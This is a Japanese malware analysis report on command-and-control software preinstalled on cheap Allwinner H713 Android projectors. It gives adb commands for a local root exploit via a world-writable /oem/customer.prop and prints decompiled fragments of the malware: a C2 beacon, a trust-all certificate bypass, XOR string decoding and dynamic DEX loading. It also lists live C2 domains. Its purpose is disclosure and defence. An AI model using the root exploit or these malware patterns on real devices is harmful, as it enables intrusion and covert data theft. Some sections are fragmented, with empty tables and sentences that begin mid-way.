
中国のビーマーによるC2ネットワークの分析 - SilentSDK-Analysis
技術分析レポート — セキュリティ研究
影響を受けるデバイス: Nonete(例:モデルHY260Pro)などのビーマーブランドの複数のAndroidプロジェクター(Magcubic、Hotack、Huyukangなど多くのメーカーが同様のモデルを販売しており、これを裏付ける兆候があるため、これらのプロジェクターも影響を受ける可能性が高い)
チップセットプラットフォーム: Allwinner H713 / sun50iw12p1 — このプラットフォーム上のすべてのデバイスに影響を与える可能性がある
分析期間: 2026年4月11日~17日
分類: プリインストールされたコマンド&コントロールインフラとリモートアクセストロイのペイロード
api.pixelpioneerss.com)へのC2接続を確立し、機密性の高いデバイスIDを抽出し、任意の追加悪意コードをルート権限でいつでもダウンロードして実行できる(chmod 777)。さらに、デバイスにはオープンなルートバックドアが存在する。*.aodintech.com、api.pixelpioneerss.com、sta.smartinnovate.net)をネットワークレベルでブロックする必要がある。影響を受けるユーザーは、悪意のあるアプリがシステムに深く埋め込まれているため、ADBを介して手動で無効化することしかできない。本レポートで文書化されたマルウェアインフラは、現在Amazon、eBay、AliExpressでエンドユーザーに大量販売されているAndroidプロジェクターにプリインストールされている。影響を受けるデバイスは、複数のブランド名(Hotack、Huyukang、Magcubic、Noneteなど)に及ぶ可能性がある。同一のC2インフラは、同一メーカーの他のデバイスでも独立して確認されている(セクション13参照)。 このパターンはBADBOX事例と一致する。
購入したデバイス: Amazonリンク - Nonete Mini Beamer 4K 1080P
範囲に関する注意: Allwinner H713チップセットは、欧州市場でブランド名を変えながら販売されている多数の安価なAndroidプロジェクターに組み込まれている。同一のファームウェアベース(h713_tuna_p3)と同一のC2オペレーター(Shenzhen Aodin Technology)は、このOEMの全デバイスが同一のインフラを含んでいることを強く示唆している。
ルートアクセスは3つの脆弱性の組み合わせによって達成された:
/oem — パーティションはFATとしてfmask=0000でマウントされている。customer.prop — システムプロパティを上書きする。```bash
adb shell getenforce # Result: Permissive
adb shell ls -la /oem/ # All files world-writableadb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'
adb reboot && adb wait-for-device && adb root adb shell id
**影響:** 物理的なアクセスを持つユーザー、または同一ネットワーク上の攻撃者(ADB経由、ポート5555が開いていて認証なし)が完全なルートアクセスを取得します。
---
## 4. C2サーバー応答 — 主要な証拠
### キャプチャされたHTTPリクエスト```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12
gzip圧縮された応答には、7つのアプリを含むJSONリストが含まれています。そのうち6つは通常のストリーミングアプリ(YouTube、Netflix、Disney+、Prime Video、Chrome、BrowseHere)です。7つ目はSilentToolsです。
{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }
**Interpretation of the flags:**
- `isShow: false` — The app does not appear in the store interface.
- `isForce: true` — Presumably forces the action (installation or update).
- `isSilentUninstall: true` — Can uninstall itself without user interaction.
- `launchType: 1` — Automatically starts the background service.
- `launchParam: MyService` — Reference to the persistent service.
- `zone: "Global"` — Targets all devices worldwide.
- `reverseLen` — Byte length needed to restore the SilentSDK `.apk`.
### Encrypted Download Path
The `path` field is AES-CBC encrypted:
- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> The ChannelID of the device.
- **Decrypted result:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp
注: ここではファイル拡張子.bppがファイアウォールを回避するために使用され、実行時に.apkにリネームされる可能性があります。このキャプチャではisSilentInstallフィールドはfalseです。isForce: trueの正確な意味は、デコンパイルされたコードから明確に復元できませんでした。この値がサーバーサイドで動的にtrueに設定される可能性は否定できません。
このデバイスには、4つの連携するシステムアプリが含まれており、すべてAOSPテストキーで署名され、UID 1000(System)で実行されています。```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com
+ ExpandSDK (Ad-Injection)
→ pb-api.aodintech.com
---
## 6. StoreOS — ドロッパー分析
StoreOSは自動インストールされるアプリストアのように見えますが、ドロッパーの機能を果たします。
**パッケージ:** `com.htc.storeos`
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`
### 権限
| 権限 | 影響 |
|:---|:---|
| `INSTALL_PACKAGES` | ユーザーダイアログなしでのサイレントインストール |
| `CLEAR_APP_USER_DATA` | 任意のアプリデータの削除 |
| `MASTER_CLEAR` | 工場出荷時リセットのトリガー |
| `WRITE_SECURE_SETTINGS` | セキュリティ設定の変更 |
| `DEVICE_POWER` | デバイスの電源管理 |
| `MANAGE_EXTERNAL_STORAGE` | 外部ストレージへのフルアクセス |
### インストールチェーン(逆コンパイルコードより)
1. **BootReceiver**が`CheckUpdateService`を起動します。
2. HTTP POST to `store-api.aodintech.com/sign/app/list`.
3. サーバーが以下を含む`AppsData[]`を配信します: `pkg`、`path`、`isForce`、`isShow`、`isSilentInstall`、`isSilentUninstall`、`launchType`、`launchParam`、`reverseLen`、`md5`。
4. `DownloadService`がCDNから`.bpp`ファイルとしてAPKを取得します。
5. **バイトリバーサル保護:** 最初の`reverseLen`バイトがディスクに書き込まれる前に反転されます(解析対策)。
6. ダウンロードされたファイルのMD5検証。
7. `Runtime.getRuntime().exec("pm install -r " + filePath)`を介したインストール。
8. `StartAppService`が`launchParam`に従ってインストールされたアプリを起動します。
### バイトリバーサル機構 — 技術的証明
**クラス:** `AbstractC2057b` — **メソッド:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX
このメソッドは、ダウンロードされたすべてのAPKの最初の`reverseLen`バイトを反転します。その結果、傍受された`.bpp`ファイルは、特定の`reverseLen`値が分からなければ、有効なAPKとして認識または抽出できません。```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
reverseLen = fileSize;
offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
byte tmp = buffer[head];
buffer[head] = buffer[tail];
buffer[tail] = tmp;
head++; tail--;
}
// 3. Copy the remaining bytes unchanged
ダウンロードパスでの呼び出し (クラス RunnableC1595d, case 0):```java
if (downInfo.getReverseLen() != 0) {
String outputPath = inputPath.replace(".apk", "des.apk");
if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) {
// Error handling
return;
}
downInfo.setFileSavePath(outputPath);
}
// Followed by MD5 verification and installation
このメカニズムをリバースエンジニアリングすることで、SilentSDK APKのデコードと解析に成功しました。
### ジオターゲティング
StoreOSはIPジオロケーションに`api.ipdatacloud.com/v2/query`を利用しています。`SpecialApps`クラスには`continent`と`countryCode`のフィールドが含まれており、地域固有のペイロード配信が可能です。
---
## 7. EventUploadService — テレメトリ
**パッケージ:** `com.htc.eventuploadservice`
**ターゲット:** `http://event-api.aodintech.com/report`
**間隔:** 5分ごと
| フィールド | 値の例 | プライバシーへの影響 |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MACアドレス(個人情報) |
| `deviceSn` | `[REDACTED]` | シリアル番号(一意) |
| `channel` | `HY260Pro_hy_TPYB` | ファームウェアチャンネル |
| `version` | `Projector.20250422.152235` | ファームウェアバージョン |
| `model` | `NT10` | デバイスモデル |
| `language` | `en_US` | 言語設定 |
送信はHTTP経由で暗号化されておらず、ユーザーの同意もなく行われます。MACアドレスとシリアル番号により、個々のデバイスの正確な識別と追跡が可能です。
---
## 8. ExpandSDK — 広告インジェクション
**パッケージ:** `com.htc.expandsdk`
**C2サーバー:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`
ExpandSDKはVASTビデオ広告にTCL VastAd SDKを利用しており、画面上の任意の位置にシステムオーバーレイダイアログ(`SYSTEM_ALERT_WINDOW`)をレンダリングできます。設定には位置フィールド(`AdDialogX`、`AdDialogY`、`Width`、`High`、`Gravity`)とパートナー識別子`htk`(Hotack)が含まれています。
ExpandSDKはSilentSDKとは独立して、別の収益化チャンネルとして動作します。
---
## 9. SilentSDK — RAT分析
**パッケージ:** `com.hotack.silentsdk`
**SHA-256 (decoded):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`
**MD5 (decoded):** `5df097591d6942bae4eff33a37c4e28f`
### マニフェスト解析
| プロパティ | 値 | 意味 |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | システム権限(UID 1000) |
| `usesCleartextTraffic` | `true` | HTTPトラフィック許可 |
| ランチャーアイコン | ユーザーから見えない | ユーザーインターフェースから隠されている |
| `BootReceiver` | 優先度999 | ほぼすべての他のアプリより先に起動 |
| `MyService` | exported, foreground | 永続的なバックグラウンドサービス |
| `BootStartActivity` | `com.htc.bootstart` | 追加の起動トリガー |
### DEXパッキングと復号化
元のDEXはパックされています。ヘッダーは2,318,316バイトを宣言していますが、圧縮ファイルには無効なAdler32チェックサムを持つ65,536バイトしか含まれていません。StoreOSのバイト反転保護を突破すると、DEXは完全に読み取り可能になり、ファイルサイズと宣言サイズが一致し、16,241の文字列が抽出可能になります。
### XOR難読化 — 技術的証明
すべてのセキュリティ関連文字列は、`AbstractC0000a.m36g()`メソッド内で回転XOR暗号を使用して難読化されています:```java
public static String m36g(byte[] data, byte[] key) {
int i3 = 0, i4 = 0;
while (i3 < data.length) {
if (i4 >= key.length) i4 = 0;
data[i3] = (byte) (data[i3] ^ key[i4]);
i3++; i4++;
}
return new String(data);
}
これは復号された文字列の一部に過ぎません。
MAC収集フローは意図的な許可バイパスを明らかにしています。WifiInfo.getMacAddress() がAndroidのプライバシー保護による偽のMAC(02:00:00:00:00:00)を返すと、マルウェアはルートシェル経由で /sys/class/net/wlan0/address から実際のハードウェアMACを直接読み取るフォールバックを行います——これは正規のアプリでは決して見られない動作です。
以下の分析は、アプリ起動から持続的なC2制御に至るまでの完全な実行チェーンを追跡します。クラス名はJADXで難読化解除された識別子を参照しています。
MyApplication.java — エントリポイント
Application.onCreate() オーバーライドが最初に実行されるコードです。すぐに C0561f.m1737c を ApplicationContext で呼び出し、UIがレンダリングされる前にマルウェア全体の機構をブートストラップします。
AbstractC0577v.java — コンテキスト
ホストアプリが自発的にコンテキストを提供しない場合、このクラスは深いシステムリフレクション(android.app.ActivityThread)を使用して自律的にグローバル ApplicationContext を取得します。これにより、ホストアプリに依存することなく、SDKはファイル、システムサービス、パッケージ管理へ完全にアクセスできるようになります。
C0578w.java — アクティビティライフサイクルオブザーバー
ActivityLifecycleCallbacks として登録し、すべてのユーザーインタラクション(どの画面が開かれているか、アプリがフォアグラウンドかバックグラウンドか)を監視します。重要なのは、無効化されたシステムアニメーションを再び有効にし、SoftInputMode 設定を操作することです——これは、ユーザーに予期しないキーボードポップアップで警告を与えずに、非表示のオーバーレイ(例:クリック詐欺用)をレンダリングするための前提条件です。
AbstractC0562g.java — Bot-ID生成
以下の要素を連結することで積極的なデバイスフィンガープリントを生成します:ランダムUUID + Build.BRAND + Build.MODEL + 物理MACアドレス(Androidのプライバシー保護をバイパスして cat /sys/class/net/wlan0/address 経由で収集)+ android_id + タイムスタンプ。結果の文字列はMD5ハッシュ化され、C2サーバーにデバイスを登録するための永続的なBot-IDである adid として保存されます。
C0565j.java — SSL証明書バイパス
checkClientTrusted、checkServerTrusted の検証メソッドが完全に空である操作された X509TrustManager を使用します。これにより、マルウェアはあらゆるSSL証明書を盲目的に受け入れ、Androidのセキュリティ機構がC2通信をブロックするのを防ぎます——たとえC2サーバーが侵害されていたり、無効な証明書を使用していても同様です。```java
// From AbstractC0000a.m41j() — TrustManager accepts ALL certificates
TrustManager[] trustManagerArr = {new C0565j()};
SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustManagerArr, new SecureRandom());
((HttpsURLConnection) conn).setSSLSocketFactory(
sslContext.getSocketFactory()
);
SSLエラー(`SSLException`)が発生した場合、`f2664e` は `false` に設定され、以降のリクエストはすべてHTTPを使用します。
#### フェーズ3: ペイロードの取得
**`C0566k.java` — オフラインフォールバック(埋め込みペイロード)**
ネットワークに接続する前に、このクラスはAPK内の `assets/m17gawxG.java` にペイロードが既にバンドルされているかどうかを確認します。見つかった場合、ファイルをバイト単位で読み取り、ハードコードされたXORキー(`m17gawxG`)を使用して復号化します。結果は実行可能な `.temp` ファイルとして書き込まれます。これにより、RATはエアギャップ環境やC2サーバーに到達できない場合でもアクティブ化できるようになります。
**`RunnableC0569n.java` — ライブC2ダウンローダー**
オフラインフォールバックが失敗した場合、このクラスはBot-ID、パッケージ名、Androidバージョンを含むJSONビーコンを構築し、C2エンドポイント `api.pixelpioneerss.com` に接続します。
**ステップ1 — ランダムパスによるURL生成:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s
ステップ2 — ビーコンペイロード:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version
**Step 3 — AES暗号化と送信:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message
ステップ4 — サーバー応答の処理:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes
ダウンローダー(`AbstractC0000a.m37h`)はペイロードを取得し、ルートシェルを使って `chmod 777` で完全な実行権限を付与します。
すべてのC2リクエストにはカスタムHTTPヘッダー `a: 1003` が含まれています。これはこのマルウェアファミリーのネットワークレベルのシグネチャです。
#### フェーズ4:実行と制御
**`AbstractC0568m.java` — ステージングエリア**
デバイスのファイルシステムに **`TMRXwWJu3G5`** という隠しディレクトリを作成し、ダウンロードされたすべてのペイロードをステージングします。このクラスには、悪意のあるオーバーレイがアクティブな間にユーザーが「戻る」ボタンを押せないように、物理キーイベント(`KeyEvent`)をインターセプトするメソッド(`m1754e`)も含まれています。
**`C0561f.java` — オーケストレーター**
チェーン全体を結合します。`C0566k.m1746b` の高度に難読化されたコードを呼び出し、リフレクションを使用して文字列 `"dalvik.system.DexClassLoader"` を構築し、それを初期化します。その後、ClassLoader は強制的に最終ペイロードクラスをロードして実行します:```
com.me.cash5.OoO0OOo
From this point onward, the dynamically loaded payload has full control within the app's process context (UID 1000 / System).
AbstractC0563h.java & C0558c.java — Telemetry Collection
Every module load, error event (e.g., download failure), or overlay display triggers a status report (coded as "e6", "e4" for SSL errors, etc.). C0558c runs a dedicated collection thread ("burying_loop_s") that aggregates these events. Every 5 seconds, it assembles a comprehensive JSON telemetry packet with fields like "d" (device model), "e" (SDK version), "c" (Android ID).
RunnableC0564i.java — Data Exfiltrator
Takes the telemetry JSON, compresses it with GZIPOutputStream (to hinder traffic analysis), then encrypts it with custom AES — appending the dynamic keys to the ciphertext. The resulting GZIP-AES packet is transmitted via the SSLバイパス TrustManager to a dedicated tracking server:```
bur.thedynamicleap.com
これはプライマリの `api.pixelpioneerss.com` とは**別のC2ドメイン**であり、テレメトリの流出専用に使用されます。
**`AbstractC0572q.java` & `RunnableC0560e.java` — ハートビートと自己修復**
永続化メカニズムです。`AbstractC0572q` はメインスレッド上にタイマーを保持します。感染チェーンのいずれかの部分が失敗した場合(例:ダウンロード中にインターネットがない場合)、`sendEmptyMessageDelayed(..., 60000L)` を起動します。正確に60秒後、`RunnableC0560e`(バックグラウンドワーカーとして)が感染機構全体を最初から再起動します。このループは感染が成功するまで無限に繰り返されます。
### 永続化と動的ローディング — 概要
`RunnableC0569n` のメソッド `m1762a()` は、完全なペイロードダウンロードサイクルを実装しています。
1. C2からDEXファイルをダウンロードする。
2. MD5ハッシュを検証する。
3. バージョン番号をSharedPreferencesに保存する。
4. `DexClassLoader` または `Runtime.exec()` を使用してDEXをロードして実行する。
5. エラー時:SharedPreferencesのリトライカウンタを増加させ、13回の失敗試行後に一時停止 — その後、60秒のハートビートがサイクルを再開する。
## 9.1. マルウェアペイロード
C2サーバーにこのリクエストを送信した後:```json
{
"a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
"b":"f101", //CampaignID injected in MyApplication.java
"c":"com.hotack.silentsdk", //Package name
"d":0,
"f":"c0:3a:4b:11:22:33", // Device MAC address
"h":30, //Version
}
レスポンス:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }
---
## 10. マルウェア
ペイロードの取得とその後の分析が成功した後、カスタム暗号化と難読化の強力なレイヤーを回避した上で、このマルウェアは高度にモジュール化されたアーキテクチャを採用していることが判明しました。このマルウェアは、プラグインを動的にダウンロード、更新、再起動、そしてフォレンジック証拠を破壊するために積極的に削除することが可能な、洗練されたフレームワークとして動作します。これらのペイロードはルート権限で実行されます。さらに、コードは画面上に完全なWebViewをオーバーレイするように設計されたメカニズムを明らかにしており、高度なフィッシング能力を強く示唆しています。また、マルウェアは高度な標的化と回避戦術を示しており、特定の地域を攻撃するための厳格なジオフェンシングを実装し、CPUアーキテクチャ(`arm64`、`armeabi`、`x86`、`mips`を区別)をプロファイリングし、C2通信を保護するためにSSL証明書検証を積極的にバイパスします。現時点では、この概要は意図的に簡潔にしています。なぜなら、強力な難読化により、長期にわたる継続的なリバースエンジニアリングプロセスが必要だからです。
## 11. システムバックドア
### 11.1 隠し`su`バイナリ:`/system/bin/qw`
`su` バイナリを `qw` と改名したもの(Koushikdutta Superuser、388 KB、静的リンク、ARM 32ビット):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
user root
group root
class core
/dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)プラットフォーム署名証明書は、AOSPソースコードに公開されているテスト鍵です(packages.xml内のCert Index 0)。この鍵で署名されたアプリは、端末上で自動的にシステム権限を取得します。この鍵は、あらゆるAndroid開発者が自由にアクセスできます。
dbgserver/vendor/bin/dbgserver — ハードウェアレジスタI/Oサーバーで、全世界書き込み可能なデバイス /dev/hidtvreg (crwxrwxrwx) を介して通信します。
すべてのC2通信は暗号化されていないHTTPで行われます。これによりMITM(中間者攻撃)が可能となり、同じネットワーク上の攻撃者はアプリリストを操作し、任意のAPKを注入できます。注入されたAPKはシステム権限でインストールされます。
端末はGoogleのADT-3(Android TV Developer Kit)を装います:
| プロパティ | スプーフィングされた値 |
|---|
このスプーフィングは、Google Playの認証チェックを回避することを意図していると考えられます。
2026年1月、セキュリティ研究者Zane St. John氏が、まったく同じマルウェアインフラを搭載した同一のデバイスの分析を公開しました。調査結果はすべての重要な点で一致しています。C2エンドポイント、XOR難読化、AES-128-CBCプロトコル、キャンペーンID f101、SSLバイパス、chmod 777 です。Zane St. John氏が分析したデバイスはすでにSilentSDKに感染していたようですが、私のデバイスは初期状態では感染していませんでした。Zane St. John氏の分析におけるエンドポイントもわずかに変更されているようで、エンドポイントのローテーションの可能性が示唆されています。さらに、彼のケースではSilentSDKがプリインストールされていたようですが、私のデバイスではaodintechがトリガー信号を送信した後にダウンロードおよびインストールされるようです。
ソース: https://zanestjohn.com/blog/reing-with-claude-code
| ソース | MD5 | SHA-256 |
|---|
C2サーバー配布、我々の復号、外部分析からのハッシュは同一であり、まったく同じマルウェアであることが確認されました。 これにより、マルウェアの広範な拡散が確認されました。
StoreOS-APK: BitDefenderがAndroid.Riskware.TestKey.rBを検出します。他のアンチウイルスエンジンはアラートを発しません。
api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server
### ネットワークシグネチャ```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003 # SilentSDK Signature
POST /sign/app/list # StoreOS C2 Beacon
POST /report # EventUpload Telemetry
com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk
### ファイルシステム```text
/system/bin/qw # su Binary
/dev/com.koushikdutta.superuser.daemon/server # su Socket
/oem/customer.prop # World-writable
/vendor/bin/dbgserver # HW-Debug
/dev/hidtvreg # World-writable
assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload
---
## 16. MITRE ATT&CK マッピング
| 手法 | ID | 証拠 |
|:---|:---|:---|
| サプライチェーン侵害 | T1195.002 | マルウェアファクトリーがプリインストール |
| ブートまたはログオン自動実行 | T1547 | BootReceiver 優先度 999 |
| 難読化されたファイルまたは情報 | T1027 | XOR 文字列、DEX パッキング、埋め込み XOR 暗号化アセット |
| アプリケーション層プロトコル | T1071 | HTTP/HTTPS C2 |
| 動的データ交換 / ペイロードインジェクション | T1055 | DexClassLoader, chmod 777 |
| システム情報の収集 | T1082 | デバイスフィンガープリンティング、ボットID生成 |
| ローカルシステムからのデータ収集 | T1005 | MAC、シリアル、IMEI、android_id |
| C2チャネル経由のデータ流出 | T1041 | `bur.thedynamicleap.com` への定期的なテレメトリー |
| 偽装 | T1036 | .bpp ファイル拡張子、ADT-3 偽装 |
| ルートキット | T1014 | 隠蔽された su バイナリ |
| 入力キャプチャ | T1056 | 戻るボタンを抑制する KeyEvent インターセプト |
| 痕跡削除 / 自己削除 | T1070 | `isSilentUninstall: true` 機能 |
| リフレクティブコードローディング | T1620 | リフレクティブな DexClassLoader インスタンス化 |
| システムウィンドウオーバーレイ | T1624 | 不可視オーバーレイのための SoftInputMode 操作 |
---
## 17. 即時対策
### 影響を受けるエンドユーザー向け```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com
---
## 18. ソース
1. Zane St. John: 「Claude CodeによるプリインストールAndroidマルウェアのリバースエンジニアリング」、2026年1月。 https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: 「BSI、IoTデバイス上のプリインストールマルウェアについて警告」(BADBOX)、2023年10月。
3. StoreOS APKのVirusTotal分析。
---
**分析期間:** 2026年4月11日~17日
**免責事項**
教育および研究目的のみ。このレポートは、サイバーセキュリティ脅威に関する情報提供の目的で「現状のまま」提供されます。分析は現在のマルウェアエコシステムのスナップショットに基づいており、リバースエンジニアリングは進行中のプロセスであるため、新しいデータが利用可能になるにつれて調査結果が変更される可能性があります。
このレポートは、バイナリデータと逆コンパイルされたソースコードの分析に基づき、誠意を持って、私の知る限り正確に作成されました。難読化の度合いが高く、脅威の性質が進化し続けているため、これらの調査結果は研究の現状を表しています。証拠は導き出された結論を強く支持していますが、さらなる技術的証拠が明らかになるにつれて、これらは洗練される可能性があります。
| プロパティ | 値 |
|---|
| ブランド名 | Nonete HY260Pro(複数の企業が販売するモデル) |
| 内部モデル名 | NT10 |
| SoC | Allwinner sun50iw12p1(ARM 32ビット) |
| オペレーティングシステム | SpectraOS(Android 11、カーネル5.4.99) |
| 実際のビルドフィンガープリント | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| スプーフィングされたビルドフィンガープリント | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | Permissive(強制なし) |
| プラットフォーム署名キー | 公開AOSPテストキー |
| OEM証明書 | CN=蓝鲨、OU=www.bsh.me、C=CN |
| ファームウェアチャンネル | HY260Pro_SpectraOS_TPYB |
| ステップ | アクション | 結果 |
|---|
| 1 | Wiresharkによるネットワークトラフィックのキャプチャ | store-api.aodintech.comへのHTTPトラフィック |
| 2 | gzip圧縮されたC2応答のデコード | 7個のアプリ(隠しアプリ「SilentTools」を含む) |
| 3 | AES-CBCによるダウンロードパスの復号 | 鍵 [REDACTED]、.bppファイルへのURL |
| 4 | /oem/customer.prop によるルートエクスプロイト | プロパティ注入後 uid=0(root) |
| 5 | /data、/oem、/system のフォレンジックダンプ | APK、データベース、設定 |
| 6 | StoreOS DEXの静的解析 | pm install -r -d、バイトリバーサル保護 |
| 7 | reverseLenメカニズムのリバースエンジニアリング | アンチ解析保護の理解 |
| 8 | バイトリバーサル保護の突破 | 復号され解析可能なSilentSDK DEX |
| 9 | SilentSDK文字列のXOR復号 | C2ドメイン api.pixelpioneerss.com 確認 |
| 10 | 3つのソースにわたるハッシュ検証 | MD5/SHA-256が完全一致 |
| 11 | マルウェアダウンロードプロセスのリバースエンジニアリング | サーバーはまだオンライン |
| 12 | マルウェアのリバースエンジニアリング | プラグインベースのRATフレームワーク |
| アプリ | パッケージ | 表示 | 強制 | サイレントインストール | サイレントアンインストール | 起動タイプ |
|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
| 難読化呼び出し | 結果 | 機能 |
|---|
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) | api.pixelpioneerss.com | C2ドメイン |
m36g({7,-68}, {116,-44,...}) | sh | Runtime.exec()用のシェルバイナリ |
m36g({-83,-92,-19,...}, {-50,-52,...}) | chmod 777 | シェルコマンド |
m36g({-47,-3,-68,106,-76}, {-1,-119,...}) | .temp | ダウンロード用の一時ファイル拡張子 |
m36g({125,61,58,...}, {21,73,78,...}) | https:// | プライマリプロトコル |
m36g({0,90,58,...}, {104,46,78,...}) | http:// | SSLエラー時のフォールバック |
m36g({-22,78,57}, {-71,29,117,...}) | SSL | TLSプロトコル |
m36g({-15}, {-112,...}) | a | カスタムヘッダー名 → 値 1003 |
m36g({17,67,42}, {124,39,...}) | md5 | MessageDigest.getInstance("md5") |
m36g({-15,90,-128,21}, {-122,51,...}) | wifi | getSystemService("wifi") |
m36g({-48,89,-25,-31,...}, {-73,60,...}) | getprop wifi.interface | シェルフォールバック:インターフェース名読み取り |
m36g({-95,-26,-107,-91,...}, {-62,-121,...}) | cat /sys/class/net/ | シェルフォールバック:MAC読み取り(プレフィックス) |
m36g({6,-88,45,-126,...}, {41,-55,...}) | /address | シェルフォールバック:MAC読み取り(サフィックス) |
m36g({10,39,105,25,...}, {58,21,...}) | 02:00:00:00:00:00 | Android偽MACセンチネル(API 23+) |
| ポート | UID | 説明 |
|---|
| 65528 | root (0) | su デーモン |
| 5555 | root (0) | 認証なしのADB |
| 7889/7890 | system (1000) | 不明なサービス |
| 10012/10013 | system (1000) | ファクトリーデバッグ? |
| サーバー | エンドポイント | 機能 |
|---|
store-api.aodintech.com | POST /sign/app/list | アプリ配信 |
